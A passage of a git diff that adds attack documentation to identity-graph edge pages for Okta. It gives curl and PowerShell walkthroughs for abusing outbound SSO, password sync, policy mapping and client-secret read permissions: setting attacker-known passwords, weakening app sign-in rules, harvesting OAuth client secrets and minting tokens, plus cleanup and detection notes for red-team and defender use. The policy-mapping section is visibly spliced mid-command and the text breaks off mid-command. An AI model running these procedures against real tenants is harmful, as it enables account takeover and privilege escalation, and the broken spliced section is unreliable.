`Okta_AppAdmin`, or `Okta_ManageApp`. If the downstream app grants roles from Okta groups or claims, modifying the source user's group membership or mapped profile attributes can turn a basic SSO session into privileged access. + +Using the Okta dashboard and downstream app: + +1. Obtain a valid Okta session for the source user. +2. Confirm the source user is assigned to the federated app, directly or through an Okta group. +3. Launch the app from the Okta dashboard, or initiate SP-initiated SSO from the downstream application. +4. Complete Okta sign-on policy, MFA, device assurance, or network requirements. +5. Let the downstream application consume the SAML assertion or OIDC tokens from Okta. +6. Use the resulting downstream session as the destination account. +7. If the downstream app maps authorization from Okta claims, adjust the relevant Okta group or profile input through adjacent edges and repeat the SSO flow. + +Using the Okta API: + +1. Set variables for the Okta org, source user, and Okta application that fronts the downstream account. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export SOURCE_USER_ID="00u..." + export TARGET_APP_ID="0oa..." + export TEMP_GROUP_ID="00g..." + ``` + +2. Retrieve the source app and save the configuration before any claim or sign-on changes. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID" \ + | tee /tmp/okta-outbound-sso-app-original.json \ + | jq '{id, label, name, status, signOnMode, settings: .settings.signOn}' + ``` + +3. Verify the source user's app assignment. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/users/$SOURCE_USER_ID" \ + | jq '{id, status, scope, syncState, credentials, profile}' + ``` + +4. If access depends on an Okta group claim and you have an adjacent group-management path, add the source user to the required group. + + ```bash + curl -i -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TEMP_GROUP_ID/users/$SOURCE_USER_ID" + ``` + + A successful group add returns `204 No Content`. + +5. Revoke the source user's sessions if you need fresh app or group claims, then re-authenticate and launch the app. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$SOURCE_USER_ID/sessions?oauthTokens=true" + ``` + +6. Use a browser to complete Okta-initiated or SP-initiated SSO. The Management API verifies assignment and claim inputs; the downstream session is created through the browser SAML/OIDC flow. + +7. Verify the downstream session, user, group, and role in the destination application's admin UI or API. + +If the app uses JIT provisioning, the first successful SSO may create the destination account. If the app uses local groups or roles after federation, the Okta session may only provide authentication and the downstream API must be used to verify authorization. + +## Cleanup after Abuse + +Cleanup for `Okta_OutboundSSO` means removing the temporary Okta app assignment, group, profile, or claim path used to mint the downstream session, then revoking downstream sessions and deleting any JIT-created destination account. + +Cleanup using Admin Console: + +1. Remove temporary Okta group memberships or app assignments used to reach the destination account. +2. Restore SAML/OIDC claim mappings, username formats, app sign-on settings, and profile mappings if they were changed. +3. Revoke the source user's Okta sessions so stale app claims cannot be reused. +4. In the downstream application, sign out sessions and revoke refresh tokens or API tokens created through the SSO session. +5. Delete or disable JIT-created downstream accounts that were only created for the operation. +6. Launch the app again as the temporary principal and confirm access is denied. + +Cleanup using API: + +1. Restore the source app configuration if SAML/OIDC settings or claims were changed. + + ```bash + curl -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d @/tmp/okta-outbound-sso-app-original.json \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID" \ + | jq '{id, label, status, signOnMode, settings: .settings.signOn}' + ``` + +2. Remove a temporary app assignment. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/users/$SOURCE_USER_ID" + ``` + +3. Remove a temporary group membership used for SAML/OIDC claims. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TEMP_GROUP_ID/users/$SOURCE_USER_ID" + ``` + +4. Revoke Okta sessions and OAuth tokens for the source user. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$SOURCE_USER_ID/sessions?oauthTokens=true" + ``` + +5. Verify the app assignment or group path no longer exists. + + ```bash + curl -i -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/users/$SOURCE_USER_ID" + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TEMP_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.SOURCE_USER_ID)' + ``` + +6. Use the destination application's API to revoke downstream sessions or delete temporary JIT-created accounts. + +## Opsec Considerations + +Okta records app assignment changes, group membership changes, `policy.evaluate_sign_on`, and app SSO launches such as `user.authentication.sso`. Downstream applications record federated login events, JIT account creation, group or role mapping, and token issuance. + +Using an existing assigned user is quieter than changing app assignments or claim mappings, but first-time access to a sensitive application, privileged group claims, and downstream logins from unusual locations are still visible. + +## References + +- [Okta SAML SSO integration guide](https://developer.okta.com/docs/guides/build-sso-integration/saml2/main/) +- [Okta OIDC app integration guide](https://developer.okta.com/docs/guides/create-an-app-integration/openidconnect/main/) +- [Okta Applications API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Application/) +- [Okta Application Users API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationUsers/) +- [Okta Group API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Group/) +- [Okta User Sessions API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) diff --git a/descriptions/edges/Okta_PasswordSync.md b/descriptions/edges/Okta_PasswordSync.md index 0a599ce..ed6706e 100644 --- a/descriptions/edges/Okta_PasswordSync.md +++ b/descriptions/edges/Okta_PasswordSync.md @@ -43,3 +43,243 @@ graph LR app1 -->|Okta_OutboundOrgSSO| idp2 idp2 -->|Okta_IdentityProviderFor| u2 ``` + +## Abuse Info + +An attacker who controls the source user can influence the destination user's password path. When the edge represents delegated authentication or "Sync Okta Password", the attacker can set the source password to a known value and then authenticate as the destination user after synchronization. When the integration is configured to push a random password or password-cycle value, the edge may allow disruption or password rotation but may not reveal a reusable destination password. + +OpenHound currently emits this edge for synchronized Active Directory application users and Okta Org2Org users. The practical abuse depends on the direction: + +1. `AD User -> Okta_User`: the AD integration has delegated authentication. Control of the AD source password lets the attacker sign in to the destination Okta user because Okta sends the username and password to the AD agent and AD domain controller for validation. +2. `Okta_User -> AD User`: Okta is configured to push password updates to AD. Control of the Okta source password can update the destination AD password when Sync Password is enabled. +3. `Okta_User -> Okta_User`: an Org2Org integration is configured to push password updates from the source org to the connected destination org. This does not apply to federated users in the connected org. + +Using Admin Console or source-system console: + +1. Identify the source and destination node types and confirm the direction of the edge in BloodHound. +2. For `AD User -> Okta_User`, use the AD Users and Computers console, PowerShell, or another authorized AD password reset path to set the AD source user's password to a value known to the attacker. Because delegated authentication validates Okta sign-ins against AD, the destination Okta user can authenticate with that AD password. +3. For `Okta_User -> AD User`, sign in as the source Okta user and change the Okta password, or use an admin path over that source user to initiate a reset. The AD integration must have Sync Password enabled under **Directory** > **Directory Integrations** > **Active Directory** > **Provisioning** > **To App**. +4. For `Okta_User -> Okta_User`, sign in as the source Okta user in the source org and change the password, or use an admin path over that source user to initiate a reset. The Org2Org app must have push password updates enabled. +5. For application password sync paths, confirm whether the app is configured for **Sync Okta Password**, random password sync, or password-cycle sync. If the app uses random password or password-cycle mode, do not assume the destination password equals the source password. +6. Attempt to sign in as the destination account with the known password only when the configuration pushes the actual source password or delegates authentication to the source. +7. If MFA blocks the destination sign-in, combine this edge with `Okta_ResetFactors`, `Okta_HelpDeskAdmin`, a trusted device/factor path, or an application-specific path that accepts password-only authentication. + +Using Active Directory PowerShell for an AD source: + +1. Set the AD account identifiers and the attacker-known password. + + ```bash + export AD_SOURCE_SAM="john" + export KNOWN_PASSWORD='CorrectHorseBatteryStaple!42' + ``` + +2. Reset the AD source user's password from a host with the Active Directory PowerShell module. + + ```powershell + $User = $env:AD_SOURCE_SAM + $Password = ConvertTo-SecureString $env:KNOWN_PASSWORD -AsPlainText -Force + Set-ADAccountPassword -Identity $User -Reset -NewPassword $Password + Unlock-ADAccount -Identity $User + ``` + +3. Verify the AD account is usable. + + ```powershell + Get-ADUser -Identity $env:AD_SOURCE_SAM -Properties Enabled,LockedOut,PasswordLastSet | + Select-Object SamAccountName,Enabled,LockedOut,PasswordLastSet + ``` + +4. Sign in to the destination Okta user with the known AD password. For delegated authentication, Okta sends the attempted password to the AD agent and domain controller during sign-in, so there is no separate Okta password push job to wait for. + +Using the Okta API for an Okta source: + +1. Set source-org, destination-org, user, and app variables. Use the same org for `DEST_OKTA_ORG` when the destination user is in the same tenant; use the connected tenant for Org2Org. + + ```bash + export OKTA_ORG="https://source.okta.com" + export OKTA_API_TOKEN="REDACTED" + export SOURCE_USER_ID="00u_source..." + export PASSWORD_SYNC_APP_ID="0oa_org2org_or_ad_app..." + + export DEST_OKTA_ORG="https://target.okta.com" + export DEST_OKTA_API_TOKEN="REDACTED" + export DESTINATION_USER_ID="00u_destination..." + ``` + +2. Confirm the source app-user assignment is synchronized. This tells you the edge is tied to an application-user record that Okta considers in sync. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$PASSWORD_SYNC_APP_ID/users/$SOURCE_USER_ID" \ + | jq '{id, scope, status, syncState, lastUpdated, passwordChanged}' + ``` + +3. Generate a password reset link for the source Okta user. The Management API returns a one-time reset URL when `sendEmail=false`; complete that URL in a browser or automation harness to set the source password to the attacker-known value. + + ```bash + RESET_URL="$(curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$SOURCE_USER_ID/lifecycle/reset_password?sendEmail=false&revokeSessions=false" \ + | jq -r '.resetPasswordUrl')" + + printf '%s\n' "$RESET_URL" + ``` + +4. Verify the source user's password timestamp changed after the reset flow is completed. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$SOURCE_USER_ID" \ + | jq '{id, status, lastLogin, passwordChanged}' + ``` + +5. Check the app-user synchronization state again. For password-push paths, wait until the app-user record is synchronized or until the downstream app/directory shows the password update. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$PASSWORD_SYNC_APP_ID/users/$SOURCE_USER_ID" \ + | jq '{id, status, syncState, lastUpdated, passwordChanged}' + ``` + +6. Verify the destination user still exists and is active before attempting authentication. + + ```bash + curl -sS \ + -H "Authorization: SSWS $DEST_OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$DEST_OKTA_ORG/api/v1/users/$DESTINATION_USER_ID" \ + | jq '{id, status, profile: {login: .profile.login}, lastLogin, passwordChanged}' + ``` + + The Management API does not safely verify a plaintext password. Verify the final access path by attempting an interactive sign-in or downstream authentication as the destination user with the known password, then observe whether MFA, sign-on policy, or downstream policy blocks access. If using OAuth instead of an SSWS API token for the API calls above, replace the authorization header with `Authorization: Bearer $OKTA_ACCESS_TOKEN`. + +## Cleanup after Abuse + +Cleanup replaces the attacker-known source password with a legitimate reset, lets the same password sync or delegated-auth path update the destination, removes attacker-added authenticators, and revokes sessions created with the synchronized credential. + +Cleanup using Admin Console: + +1. Identify whether cleanup must start in AD, the source Okta org, or the source Org2Org application. +2. For AD-to-Okta delegated authentication, reset the source AD user's password through normal AD administration and ensure the destination Okta user can no longer authenticate with the attacker-known password. +3. For Okta-to-AD password push, reset the source Okta user's password legitimately, then have the user complete the flow that causes Okta to push the current password to AD. +4. For Org2Org password push, reset the source Okta user's password legitimately and wait for the connected org application to push the update to the destination org. +5. Remove attacker-enrolled authenticators from the destination user and restore any authenticators removed during the operation. +6. Revoke source and destination sessions created with the attacker-known password. +7. Verify the destination account no longer accepts the attacker-known password and that the relevant provisioning task has returned to a healthy state. + +Cleanup using API: + +1. Reset the source password through the authoritative source. For an AD source, use AD tooling and force a legitimate password reset. + + ```powershell + $User = $env:AD_SOURCE_SAM + $LegitimateTempPassword = "REPLACE_WITH_APPROVED_TEMP_PASSWORD" + $Password = ConvertTo-SecureString $LegitimateTempPassword -AsPlainText -Force + Set-ADAccountPassword -Identity $User -Reset -NewPassword $Password + Set-ADUser -Identity $User -ChangePasswordAtLogon $true + ``` + +2. For an Okta source user, generate a legitimate reset link and revoke the source user's current sessions. Deliver the reset URL through an approved recovery channel, or change `sendEmail=false` to `sendEmail=true` if Okta should email the reset link directly. + + ```bash + RESET_URL="$(curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$SOURCE_USER_ID/lifecycle/reset_password?sendEmail=false&revokeSessions=true" \ + | jq -r '.resetPasswordUrl')" + + printf '%s\n' "$RESET_URL" + ``` + +3. Wait for password push or delegated-auth state to converge, then verify the app-user sync record is healthy. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$PASSWORD_SYNC_APP_ID/users/$SOURCE_USER_ID" \ + | jq '{id, status, syncState, lastUpdated, passwordChanged}' + ``` + +4. List destination factors and identify any attacker-controlled enrollment. + + ```bash + curl -sS \ + -H "Authorization: SSWS $DEST_OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$DEST_OKTA_ORG/api/v1/users/$DESTINATION_USER_ID/factors" \ + | jq -r '.[] | [.id, .factorType, .provider, .status, (.profile.email // .profile.phoneNumber // "")] | @tsv' + ``` + +5. Remove each attacker-controlled factor by ID. + + ```bash + export ATTACKER_FACTOR_ID="opf_or_sms_or_totp..." + + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $DEST_OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$DEST_OKTA_ORG/api/v1/users/$DESTINATION_USER_ID/factors/$ATTACKER_FACTOR_ID" + ``` + + A successful factor removal returns `204 No Content`. + +6. Revoke source and destination Okta sessions and OAuth/OIDC tokens. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$SOURCE_USER_ID/sessions?oauthTokens=true" + + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $DEST_OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$DEST_OKTA_ORG/api/v1/users/$DESTINATION_USER_ID/sessions?oauthTokens=true" + ``` + +7. Confirm the destination user no longer has attacker-controlled factors and remains in the expected lifecycle state. + + ```bash + curl -sS \ + -H "Authorization: SSWS $DEST_OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$DEST_OKTA_ORG/api/v1/users/$DESTINATION_USER_ID" \ + | jq '{id, status, profile: {login: .profile.login}, lastLogin, passwordChanged}' + + curl -sS \ + -H "Authorization: SSWS $DEST_OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$DEST_OKTA_ORG/api/v1/users/$DESTINATION_USER_ID/factors" \ + | jq -r '.[] | [.id, .factorType, .provider, .status] | @tsv' + ``` + +8. Attempt to sign in as the destination account with the attacker-known password and verify it fails. For AD destinations, also verify the AD password state with directory tooling. + +## Opsec Considerations + +Password sync abuse leaves activity in the authoritative source and in Okta. Relevant Okta System Log event types include `user.account.update_password`, `user.account.reset_password`, `application.user_membership.change_password`, `application.provision.user.sync`, `user.authentication.auth_via_AD_agent`, and `user.session.start`. + +AD-to-Okta abuse also creates domain controller authentication and password reset/change logs. Okta-to-AD and Org2Org abuse may create provisioning task failures if the destination password policy rejects the pushed password. A password change followed immediately by a destination sign-in from a new network, or by factor enrollment/reset activity, is a strong detection chain. + +## References + +- [Okta delegated authentication with Active Directory](https://help.okta.com/en-us/Content/Topics/Directory/Directory_AD_Delegated_Authentication.htm) +- [Okta synchronize passwords from Okta to Active Directory](https://help.okta.com/en-us/content/topics/directory/security_using_sync_password.htm) +- [Okta password synchronization use cases](https://help.okta.com/en-us/content/topics/directory/password-sync-use-cases.htm) +- [Okta application password synchronization](https://help.okta.com/en-us/content/topics/directory/password-sync-application.htm) +- [Okta Org2Org supported features](https://help.okta.com/oie/en-us/content/topics/provisioning/org2org/org2org-supported-features.htm) +- [Okta User Credentials API: Reset a password](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserCred/#tag/UserCred/operation/resetPassword) +- [Okta Application Users API: Retrieve an application user](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationUsers/#tag/ApplicationUsers/operation/getApplicationUser) +- [Okta User Factors API: List enrolled factors](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserFactor/#tag/UserFactor/operation/listFactors) +- [Okta User Factors API: Unenroll a factor](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserFactor/#tag/UserFactor/operation/unenrollFactor) +- [Okta User Sessions API: Revoke all user sessions](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/#tag/UserSessions/operation/revokeUserSessions) +- [Okta SCIM concepts](https://developer.okta.com/docs/concepts/scim/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) diff --git a/descriptions/edges/Okta_PolicyMapping.md b/descriptions/edges/Okta_PolicyMapping.md index 479fe95..9eb0186 100644 --- a/descriptions/edges/Okta_PolicyMapping.md +++ b/descriptions/edges/Okta_PolicyMapping.md @@ -28,3 +28,273 @@ graph LR p5 -->|Okta_PolicyMapping| a2 p5 -->|Okta_PolicyMapping| a3 ``` + +## Abuse Info + +`Okta_PolicyMapping` is not a credential path by itself. It means the source policy is applied to the destination application. An attacker abuses this edge only when they can control or modify the source policy, or when they can switch the destination application onto a source policy they control. + +The most direct abuse is with an `ACCESS_POLICY` app sign-in policy. If the source policy controls sign-in to the destination application, the attacker can add a high-priority rule that matches their user, group, network zone, risk level, device state, or platform and requires weaker authentication than the legitimate rules. Other policy types can matter too, but the exact impact depends on the source policy's `type`: an IdP discovery policy can influence routing to an inbound IdP, a device signal collection policy can influence device context collection, and a profile enrollment policy can affect enrollment requirements. Do not assume every mapped policy can weaken app sign-in; verify the policy type first. + +Using the Admin Console: + +1. Gain administrative control over the source policy through `Okta_SuperAdmin`, `Okta_OrgAdmin`, `Okta_AppAdmin`, `Okta_MobileAdmin`, or a custom role with `okta.policies.manage` over the policy. +2. Open the source policy in the Admin Console. For app sign-in policies, go to **Security** > **Authentication Policies** > **App sign-in**. +3. Confirm the destination application appears on the policy's applications list, or switch the destination application to the source policy if the attack path includes policy mapping control. +4. Record the original policy rules, priorities, group/user conditions, network zones, device conditions, and authentication requirements. +5. Add a new high-priority rule that matches only the attacker-controlled user or group. +6. Set the rule to allow access with the weakest authentication that is useful and permitted in the tenant, such as password-only or any one factor type. +7. If abusing IdP discovery rather than app sign-in policy, add or modify a routing rule that sends the targeted sign-in to an attacker-controlled IdP, then continue with `Okta_IdentityProviderFor` or `Okta_InboundSSO`. +8. Start a new sign-in to the destination application as the controlled user and satisfy the weakened policy rule. + +Using the Okta Policy and Application Policy APIs: + +1. Set variables for the source policy, destination app, controlled user, and a narrow controlled group used by the temporary policy rule. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export POLICY_ID="00p..." + export APP_ID="0oa..." + export CONTROLLED_GROUP_ID="00g..." + export CONTROLLED_USER_ID="00u..." + ``` + +2. Retrieve and save the source policy, then verify it is the policy type you intend to abuse. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/policies/$POLICY_ID" \ + | tee /tmp/okta-policy-original.json \ + | jq '{id, name, type, status, priority, system, lastUpdated}' + ``` + +3. Verify that the destination application is mapped to the source policy. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/policies/$POLICY_ID/mappings" \ + | tee /tmp/okta-policy-mappings-original.json \ + | jq -r --arg app "$APP_ID" ' + .[] + | select(._links.application.href | endswith("/api/v1/apps/" + $app)) + | [.id, ._links.application.href, ._links.policy.href] | @tsv' + ``` + +4. Save the original rules for cleanup. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/policies/$POLICY_ID/rules" \ + | tee /tmp/okta-policy-rules-original.json \ + | jq -r '.[] | [.id, .name, .status, .priority, .type] | @tsv' + ``` + +5. Add the controlled user to a narrow group used only by the temporary rule. + + ```bash + curl -i -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$CONTROLLED_GROUP_ID/users/$CONTROLLED_USER_ID" + ``` + + A successful group membership change returns `204 No Content`. + +6. For an `ACCESS_POLICY`, create a temporary high-priority rule that allows the controlled group to use one password factor. The exact authentication methods available depend on tenant policy and authenticators, so validate this in a test tenant before using it operationally. + + ```bash + TEMP_RULE_ID="$( + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d @- \ + "$OKTA_ORG/api/v1/policies/$POLICY_ID/rules" < /tmp/okta-policy-rule-restore.json + + curl -i -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d @/tmp/okta-policy-rule-restore.json \ + "$OKTA_ORG/api/v1/policies/$POLICY_ID/rules/$RESTORE_RULE_ID" + ``` + +5. Verify the temporary rule is gone, the destination app is mapped to the expected policy, and the controlled user no longer matches the temporary group condition. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/policies/$POLICY_ID/rules" \ + | jq -r '.[] | select(.id == env.TEMP_RULE_ID)' + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/policies/$POLICY_ID/mappings" \ + | jq -r --arg app "$APP_ID" '.[] | select(._links.application.href | endswith("/api/v1/apps/" + $app)) | [.id, ._links.application.href] | @tsv' + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$CONTROLLED_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_USER_ID)' + ``` + +6. Revoke Okta sessions and OAuth tokens for the controlled user if the weakened policy was used. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$CONTROLLED_USER_ID/sessions?oauthTokens=true" + ``` + +## Opsec Considerations + +Policy mapping abuse is visible through policy, group, app, and authentication telemetry. Relevant Okta System Log event types include `policy.rule.add`, `policy.rule.update`, `policy.rule.delete`, `policy.lifecycle.update`, `policy.mapping.create`, `policy.evaluate_sign_on`, `group.user_membership.add`, `group.user_membership.remove`, and `user.authentication.sso`. + +A high-priority app sign-in rule that targets a narrow user or group and reduces assurance shortly before a sensitive app launch is especially high-signal. Defenders should review the evaluated policy rule in `policy.evaluate_sign_on`, the app sign-in policy assigned to the application, and the actor that created or updated the rule. + +## References + +- [Okta Policy API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Policy/) +- [Okta Policy API: List all resources mapped to a policy](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Policy/#tag/Policy/operation/listPolicyMappings) +- [Okta Policy API: Create a policy rule](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Policy/#tag/Policy/operation/createPolicyRule) +- [Okta Application Policies API: Assign an app sign-in policy](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationPolicies/#tag/ApplicationPolicies/operation/assignApplicationPolicy) +- [Okta policy and rule prioritization](https://developer.okta.com/docs/guides/policy-rule-prioritization/main/) +- [Okta assign apps to an app sign-in policy](https://help.okta.com/oie/en-us/content/topics/identity-engine/policies/share-auth-policies.htm) +- [Okta add an app sign-in policy rule](https://help.okta.com/oie/en-us/Content/Topics/identity-engine/policies/add-app-sign-on-policy-rule.htm) +- [Okta Groups API: Assign a user to a group](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Group/#tag/Group/operation/assignUserToGroup) +- [Okta User Sessions API: Revoke all user sessions](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/#tag/UserSessions/operation/revokeUserSessions) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) diff --git a/descriptions/edges/Okta_ReadClientSecret.md b/descriptions/edges/Okta_ReadClientSecret.md index c342a9f..3e6cb8f 100644 --- a/descriptions/edges/Okta_ReadClientSecret.md +++ b/descriptions/edges/Okta_ReadClientSecret.md @@ -1,6 +1,6 @@ ## General Information -The traversable Okta_ReadClientSecret edges represent permissions that allow a principal (user, group, or application) to read OAuth client secrets for scoped Okta applications. These edges are created for the **Application Administrator**, **API Access Management Administrator**, and **Read-only Administrator** built-in roles and for custom roles with the `okta.apps.clientCredentials.read` permission. +The traversable Okta_ReadClientSecret edges represent permissions that allow a principal to read OAuth client secrets for scoped Okta applications. These edges are created for the **Application Administrator**, **API Access Management Administrator**, and **Read-only Administrator** built-in roles and for custom roles with the `okta.apps.clientCredentials.read` permission. ```mermaid graph TD @@ -17,6 +17,239 @@ graph TD g1 -. Okta_HasRole .-> r1 ``` -## Potential Attack Scenarios +## Abuse Info -An attacker with the ability to read client secrets for an application assigned the Super Administrator role could potentially use the client secret to authenticate as that application and perform privileged actions in Okta. +An attacker who controls the source principal can read the raw value of the destination `Okta_ClientSecret`, then follow `Okta_SecretOf` to authenticate as the application that owns that secret. This edge is different from `Okta_SecretOf`: `Okta_ReadClientSecret` describes permission to retrieve the secret value from Okta, while `Okta_SecretOf` describes what the recovered secret can authenticate to. + +For a user source, authenticate as that user. For a group source, compromise any member of the source group first. For an application source, authenticate as the source service app with its configured client authentication method and obtain an OAuth bearer token with the required Okta scopes. Follow the destination secret's `Okta_SecretOf` edge to identify the owning application before requesting the secret. + +Using the Admin Console: + +1. Authenticate to Okta as the source user, as a member of the source group, or as an administrator-equivalent session for the source principal. +2. Identify the owning application by following `Okta_SecretOf` from the destination `Okta_ClientSecret`. +3. Open **Applications** > **Applications** and select the owning application. +4. On the **General** tab, inspect **Client Credentials** and match the destination secret by secret ID, hash, status, and timestamps. +5. Copy or reveal the client secret if the UI permits it. If the existing secret cannot be revealed, use the API path below; the edge exists because the source principal has permission to read client credentials. +6. Use the application's client ID and recovered client secret to mint an access token. +7. Continue along the owning application's downstream edges, such as `Okta_SecretOf`, `Okta_SuperAdmin`, `Okta_OrgAdmin`, `Okta_AppAdmin`, or SaaS-specific outbound edges. + +Using the Okta API: + +1. Set the source principal API credential, destination app ID from `Okta_SecretOf`, destination secret ID, and the token endpoint/scope you intend to request as the owning application. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED_SOURCE_PRINCIPAL_TOKEN" + export TARGET_APP_ID="0oa..." + export TARGET_SECRET_ID="ocs..." + export TOKEN_ENDPOINT="$OKTA_ORG/oauth2/default/v1/token" + export TOKEN_SCOPE="custom.scope" + ``` + + The examples use `Authorization: SSWS $OKTA_API_TOKEN`. If the source is a service app using OAuth for Okta, replace that header with `Authorization: Bearer $SOURCE_OKTA_ACCESS_TOKEN` and ensure the token has the required Okta scopes. + +2. Retrieve the owning application and capture its client ID. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID" \ + | tee /tmp/okta-readsecret-app.json + + export CLIENT_ID="$(jq -r '.credentials.oauthClient.client_id // .id' /tmp/okta-readsecret-app.json)" + jq -r '{id, label, status, client_id: .credentials.oauthClient.client_id, auth_method: .credentials.oauthClient.token_endpoint_auth_method}' /tmp/okta-readsecret-app.json + ``` + +3. Retrieve the destination client secret value. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/credentials/secrets/$TARGET_SECRET_ID" \ + | tee /tmp/okta-readsecret-secret.json + + export CLIENT_SECRET="$(jq -r '.client_secret' /tmp/okta-readsecret-secret.json)" + jq -r '{id, status, secret_hash, created, lastUpdated}' /tmp/okta-readsecret-secret.json + ``` + + A successful response includes the raw `client_secret` value. If only a hash is available, verify that the source principal actually has `okta.apps.clientCredentials.read` or an equivalent built-in role. + +4. Mint a token as the owning application using the recovered secret. + + ```bash + curl -sS -X POST \ + -u "$CLIENT_ID:$CLIENT_SECRET" \ + -H "Accept: application/json" \ + -H "Content-Type: application/x-www-form-urlencoded" \ + --data-urlencode "grant_type=client_credentials" \ + --data-urlencode "scope=$TOKEN_SCOPE" \ + "$TOKEN_ENDPOINT" \ + | tee 